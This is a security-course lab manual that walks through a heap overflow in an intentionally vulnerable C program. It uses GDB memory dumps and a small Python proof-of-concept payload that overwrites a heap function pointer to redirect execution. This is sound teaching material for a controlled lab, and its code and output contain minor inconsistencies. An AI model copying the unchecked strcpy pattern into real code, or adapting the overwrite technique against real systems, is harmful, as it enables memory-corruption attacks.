0% found this document useful (0 votes)
3 views

Day5_Session1_Lab3(Heap_Overflow)

The Heap Overflow Lab Manual provides a hands-on exercise to explore heap overflow vulnerabilities in a C program. Participants will compile and execute a vulnerable program, increment input sizes to observe behavior, and use GDB for debugging to investigate how input affects the program's execution. The objective is to understand how unchecked memory allocation can lead to security issues, specifically by controlling the EIP register through buffer overflow techniques.

Uploaded by

shankarpakhre55
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
3 views

Day5_Session1_Lab3(Heap_Overflow)

The Heap Overflow Lab Manual provides a hands-on exercise to explore heap overflow vulnerabilities in a C program. Participants will compile and execute a vulnerable program, increment input sizes to observe behavior, and use GDB for debugging to investigate how input affects the program's execution. The objective is to understand how unchecked memory allocation can lead to security issues, specifically by controlling the EIP register through buffer overflow techniques.

Uploaded by

shankarpakhre55
Copyright
© © All Rights Reserved
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 8

Heap Overflow Lab Manual

Heap Overflow
Estimated time:
This exercise may take approximately 30 minutes.

Requirements:
●​ Ubuntu VM as configured in the environment setup.

Objective:
In this lab, we will practically explore heap overflow which might occur when a chunk of memory is allocated in
heap and data is written to this memory without checking bounds of the allocated memory.

Lab Exercise
Vulnerable Program
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct data
{
​ char name[64];
};
struct fp
{
​ int (*fp) ();
};
void DummyFunc()
{
​ printf("Hacked Successfully...!\n");
}
void myFunction()
{
​ printf("Program executed normally...!\n");
}
int main(int argc, char **argv)
{
​ struct data *dobj;
​ struct fp *fobj;
​ dobj = malloc(sizeof(struct data));
​ fobj = malloc(sizeof(struct fp));
​ fobj->fp = myFunction; // storing reference of myFunction in
​ printf("Address of dobj=%p\n", dobj); //for debugging purpose
​ printf("Address of fobj=%p\n", fobj); //for debugging purpose
​ printf("Address of DummyFunc=%p\n", DummyFunc);
​ strcpy(dobj->name, argv[1]);
​ fobj->fp();
}

Open the terminal and enter the below command to open the editor
$gedit heap.c

Enter the above program,save the file and close the editor.

Compiling the above program heap.c


gcc -m32 heap.c -w -g -no-pie -z execstack -o heap
-m32: to output 32 - bit binary
-w: This enables some extra warning flags that are not enabled by -Wall.
-g: For Keeping source-level debugging/symbol information in the executable itself

Software & Network Security Fundamentals


Copyright © C-DAC Hyderabad, 2025 Page 1 of 8
Heap Overflow Lab Manual

-no-pie: Not to make Position Independent Executable


-z execstack: Passing flag to linker for making stack as executable

Test the stability of the program


After successful compilation try executing the binary as below
$ ./heap AAAAA

The output will be like this.


Address of dobj=0x804d1a0
Address of fobj=0x804d1f0
Address of DummyFunc=0x804a008
Program executed normally...!

Keep on incrementing the size of input supplied to the program


$ ./heap AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Address of dobj=0x804d1a0
Address of fobj=0x804d1f0
Address of DummyFunc=0x804a008
Program executed normally...!
$ ./heap AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Address of dobj=0x804d1a0
Address of fobj=0x804d1f0
Address of DummyFunc=0x804a008
Program executed normally...!
$ ./heap AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Address of dobj=0x804d1a0
Address of fobj=0x804d1f0
Address of DummyFunc=0x804a008
Program executed normally...!
$ ./heap AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Address of dobj=0x804d1a0
Address of fobj=0x804d1f0
Address of DummyFunc=0x804a008
Program executed normally...!
$ ./heap AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Address of dobj=0x804d1a0
Address of fobj=0x804d1f0
Address of DummyFunc=0x804a008
Program executed normally...!
$./heap
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAA
Address of dobj=0x804d1a0
Address of fobj=0x804d1f0
Address of DummyFunc=0x804a008
Segmentation fault

You can see after a few iterations of the execution program crashed.
Let’s investigate the execution of programs under the GDB for further analysis.

Check if EIP can be controlled


$ gdb -q ./heap

The user will get a similar output


Reading symbols from heap...done.

Now run the below command


(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA

Software & Network Security Fundamentals


Copyright © C-DAC Hyderabad, 2025 Page 2 of 8
Heap Overflow Lab Manual

Starting program: /home/workshop/Desktop/heap


AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAA
Address of dobj=0x804d1a0
Address of fobj=0x804d1f0
Address of DummyFunc=0x804a008

Program received signal SIGSEGV, Segmentation fault.


0x41414141 in ?? ()

Enter the below command to investigate the registers


(gdb) info register
eax 0x41414141 1094795585
ecx 0xbffff550 -1073744560
edx 0x804d1ef 134533615
ebx 0x804c000 134529024
esp 0xbffff27c 0xbffff27c
ebp 0xbffff2a8 0xbffff2a8
esi 0xbffff2c0 -1073745216
edi 0xb7fba000 -1208246272
eip 0x41414141 0x41414141
eflags 0x10282 [ SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
$ (gdb)

Here you can see that the value of EIP is 0x41414141 which is hexadecimal value of AAAA. This means we can
control the value of EIP by overflowing heap buffer. Our next target is to find the input which is directly affecting
the value of EIP. You can make a note of the address of dobj, fobj and DummyFunc for future reference.

Now close the debugger with the command ‘q’ and then enter ‘y’ to quit.
( gdb) q
A debugging session is active.
Inferior 1 [process 7258] will be killed.
Quit anyway? (y or n) y

Finding the exact input overwriting the EIP


Now again run the program in gdb.
In order to find the value of input which is directly affecting the EIP run with the following input.
(gdb) run
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU
VVVVWWWWXXXXYYYYZZZZ0000111122223333444455556666777788889999
Starting program: /home/deadlock/Desktop/heap1/heap1
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSS
SSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ0000111122223333444455556666777788889999

Program received signal SIGSEGV, Segmentation fault.


0x55555555 in ?? ()

Enter the below command to investigate the registers


(gdb)info register
eax 0x55555555 1431655765
ecx 0xbffff550 -1073744560
edx 0x804d229 134533673

Software & Network Security Fundamentals


Copyright © C-DAC Hyderabad, 2025 Page 3 of 8
Heap Overflow Lab Manual

ebx 0x804c000 134529024


esp 0xbffff23c 0xbffff23c
ebp 0xbffff268 0xbffff268
esi 0xbffff280 -1073745280
edi 0xb7fba000 -1208246272
eip 0x55555555 0x55555555
eflags 0x10282 [ SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

Here we can see that the value of EIP is 0x55555555 which is ASCII value of UUUU. Now change the value of UUUU
to 0000 and let's see whether UUUU is really affecting the EIP?
(gdb)run
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT0000
VVVVWWWWXXXXYYYYZZZZ0000111122223333444455556666777788889999

Type y and hit enter to proceed


The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/workshop/Desktop/heap


AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSS
SSTTTT0000VVVVWWWWXXXXYYYYZZZZ0000111122223333444455556666777788889999 …

Program received signal SIGSEGV, Segmentation fault.


0x30303030 in ?? ()

Enter the below command to investigate the registers


(gdb) info register
eax 0x30303030 808464432
ecx 0xbffff560 -1073744544
edx 0x804d227 134533671
ebx 0x804c000 134529024
esp 0xbffff25c 0xbffff25c
ebp 0xbffff288 0xbffff288
esi 0xbffff2a0 -1073745248
edi 0xb7fba000 -1208246272
eip 0x30303030 0x30303030
eflags 0x10286 [ PF SF IF RF ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51

Here, we can see that the value of EIP is 0x30303030 which is hexadecimal value of 0000.

Observe the heap memory


Let’s set the breakpoints at specific locations in the code. To know the source code line numbers - you can print the
source code inside GDB using list command.
(gdb) list 1, 45

Type c and hit enter to continue


--Type <RET> for more, q to quit, c to continue without paging--c
Software & Network Security Fundamentals
Copyright © C-DAC Hyderabad, 2025 Page 4 of 8
Heap Overflow Lab Manual

Now set the breakpoint at following lines of code.


●​ fobj->fp = myFunction;
●​ strcpy(dobj->name, argv[1]);
●​ and also after the strcpy(dobj->name, argv[1]);
(gdb) b 26
(gdb) b 30
(gdb) b 31

After setting the breakpoint, run the program with input AAAAAAAA
$ (gdb) run AAAAAAAA

Type y and hit enter to proceed


The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/workshop/Desktop/heap AAAAAAAA


Breakpoint 1, main (argc=2, argv=0xbffff3a4) at heap1.c:25
32 fobj->fp = myFunction; // storing reference of myFunction in

The dobj points to location inside the heap area. To view the heap memory let’s print 50 frames from the memory
location 32 bytes (0x20) preceding the variable dobj.
Address of dobj is 0x804d1a0 thus 0x804d1a0-0x20 = 0x804d180.
(gdb) x/50x 0x804d180

Here we can see few memory chunks inside the heap. At memory location 0x804d1a0 nothing is written but before
that there is 0x00000051 which is header of the memory chunk allocated. In the same way we can see that at
location 0x804d1f0 nothing has been written but before that there is 0x00000011, which is header of another
memory chunk.
(gdb) x/50x 0x804d180
0x804d180: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d190: 0x00000000 0x00000000 0x00000000 0x00000051
0x804d1a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1e0: 0x00000000 0x00000000 0x00000000 0x00000011
0x804d1f0: 0x00000000 0x00000000 0x00000000 0x00000411
0x804d200: 0x72646441 0x20737365 0x7320666f 0x6c6c6568
0x804d210: 0x65646f63 0x3878303d 0x30613430 0x000a3830
0x804d220: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d230: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d240: 0x00000000 0x00000000

Now, lets note down the address of myFunction by disassembling it.


(gdb)disassemble myFunction
0x08049192 <+0>: push %ebp
0x08049193 <+1>: mov %esp,%ebp
0x08049195 <+3>: push %ebx
0x08049196 <+4>: sub $0x4,%esp
0x08049199 <+7>: call 0x804927a <__x86.get_pc_thunk.ax>
0x0804919e <+12>: add $0x2e62,%eax
0x080491a3 <+17>: sub $0xc,%esp
0x080491a6 <+20>: lea -0x1fe0(%eax),%edx
0x080491ac <+26>: push %edx
0x080491ad <+27>: mov %eax,%ebx
0x080491af <+29>: call 0x8049060 <puts@plt>
0x080491b4 <+34>: add $0x10,%esp

Software & Network Security Fundamentals


Copyright © C-DAC Hyderabad, 2025 Page 5 of 8
Heap Overflow Lab Manual

0x080491b7 <+37>: nop


0x080491b8 <+38>: mov -0x4(%ebp),%ebx
0x080491bb <+41>: leave
0x080491bc <+42>: ret

The address of myFunction is 0x08049192.

Now continue the program execution. Program will stop at second breakpoint.
(gdb) continue
Continuing.
Breakpoint 2, main (argc=2, argv=0xbffff3a4) at heap1.c:31
33 strcpy(dobj->name, argv[1]);

To view the heap memory contents again to see the changes after the execution of code i.e., from breakpoint 1 to
2.
Run the below command

(gdb) x/50x 0x804d180


0x804d180: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d190: 0x00000000 0x00000000 0x00000000 0x00000051
0x804d1a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1e0: 0x00000000 0x00000000 0x00000000 0x00000011
0x804d1f0: 0x08049192 0x00000000 0x00000000 0x00000411
0x804d200: 0x72646441 0x20737365 0x7320666f 0x6c6c6568
0x804d210: 0x65646f63 0x3878303d 0x30613430 0x000a3830
0x804d220: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d230: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d240: 0x00000000 0x00000000

In the above output we can see that the address of myFunction (0x08049192) has been written at the location
0x804d1f0. Continue the execution of program further.
(gdb)continue

Program stopped at third breakpoint.


$ (gdb) continue
Continuing.
Breakpoint 3, main (argc=2, argv=0xbffff3a4) at heap1.c:32
35 fobj->fp();

To view the heap memory contents again to see the changes after the execution of code i.e., from breakpoint 2 to
3.
Run the below command
(gdb) x/50x 0x804d180
0x804d180: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d190: 0x00000000 0x00000000 0x00000000 0x00000051
0x804d1a0: 0x41414141 0x41414141 0x00000000 0x00000000
0x804d1b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d1e0: 0x00000000 0x00000000 0x00000000 0x00000011
0x804d1f0: 0x08049192 0x00000000 0x00000000 0x00000411
0x804d200: 0x72646441 0x20737365 0x7320666f 0x6c6c6568
0x804d210: 0x65646f63 0x3878303d 0x30613430 0x000a3830
0x804d220: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d230: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d240: 0x00000000 0x00000000

Software & Network Security Fundamentals


Copyright © C-DAC Hyderabad, 2025 Page 6 of 8
Heap Overflow Lab Manual

Here you can see that 0x41414141 is being written from the location 0x804d1a0 onwards.
Now close the debugger with the command ‘q’ and then enter ‘y’ to quit.
(gdb) q
A debugging session is active.
Inferior 1 [process 7258] will be killed.
Quit anyway? (y or n) y

Overwrite the buffer in heap memory


Create a python script with name "poc.py" which will print 84 characters with the following contents. As difference
between address 0x804d1a0 and 0x804d1f0 is 80 bytes and 4 bytes extra required to overwrite the content of
location pointed by 0x804d1f0.
#!/usr/bin/python
print('A'*84 )

Run the following command to make this file executable


$ chmod a+x poc.py

To verify script is working or not, run the below command and expect 84 A's on terminal as output.
$ python3 ./poc.py
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Now open the GDB session with ./heap and set the breakpoint after the strcpy(dobj->name, argv[1]);
$ gdb -q ./heap
(gdb)list 1,45
(gdb)b 31
(gdb)run $(python3 ./poc.py)

Program stopped at first breakpoint with following output.


Starting program: /home/workshop/Desktop/heap $(./poc.py)
Address of dobj=0x804d1a0
Address of fobj=0x804d1f0
Address of DummyFunc=0x804a008
Breakpoint 1, main (argc=2, argv=0xbffff354) at heap1.c:32

Let’s see what changes has been made in memory. Run the below command
(gdb) x/50x 0x804d180
0x804d180: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d190: 0x00000000 0x00000000 0x00000000 0x00000051
0x804d1a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1b0: 0x41414141 0x41414141 0x41414141​ 0x41414141
0x804d1c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1f0: 0x41414141 0x00000000 0x00000000 0x00000411
0x804d200: 0x72646441 0x20737365 0x7320666f 0x6c6c6568
0x804d210: 0x65646f63 0x3878303d 0x30613430 0x000a3830
0x804d220: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d230:​ 0x00000000 0x00000000 0x00000000 0x00000000
0x804d240: 0x00000000 0x00000000

Now here you can see that the content of memory location 0x804d1f0 has changed from 0x08049192 to
0x41414141. The user can craft an address and modify it in the place of 0x41414141 located at 0x804d1f0. The
same is done in the upcoming steps.

Now close the debugger with the command ‘q’ and then enter ‘y’ to quit.
( gdb) q
A debugging session is active.
Inferior 1 [process 7258] will be killed.
Quit anyway? (y or n) y
Software & Network Security Fundamentals
Copyright © C-DAC Hyderabad, 2025 Page 7 of 8
Heap Overflow Lab Manual

Finally, execution of DummyFunc


Now change the previous python “poc.py” script, print 80 characters and last 4 bytes in little endian format as the
address of DummyFunc as below .
#!/usr/bin/python
print 'A'*80 + '\x08\xa0\x04\x08'

Now run the following command and let’s verify whether the address at location 0x804d1f0 is our desired address
or not.
$ gdb -q ./heap
(gdb) b 31
(gdb) run $(./poc.py)
(gdb) x/50x 0x804d180
0x804d180: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d190: 0x00000000 0x00000000 0x00000000 0x00000051
0x804d1a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1d0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1e0: 0x41414141 0x41414141 0x41414141 0x41414141
0x804d1f0: 0x0804a008 0x00000000 0x00000000 0x00000411
0x804d200: 0x72646441 0x20737365 0x7320666f 0x6c6c6568
0x804d210: 0x65646f63 0x3878303d 0x30613430 0x000a3830
0x804d220: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d230: 0x00000000 0x00000000 0x00000000 0x00000000
0x804d240: 0x00000000 0x00000000

With the above output we can see that the content of memory location 0x804d1f0 is address of our DummyFunc.
Continue the execution further.
Address of dobj=0x804d1a0
Address of fobj=0x804d1f0
Address of DummyFunc=0x80491a6
Hacked Successfully...!
[Inferior 1 (process 3832) exited normally]

and you will get the output given above.

Software & Network Security Fundamentals


Copyright © C-DAC Hyderabad, 2025 Page 8 of 8

You might also like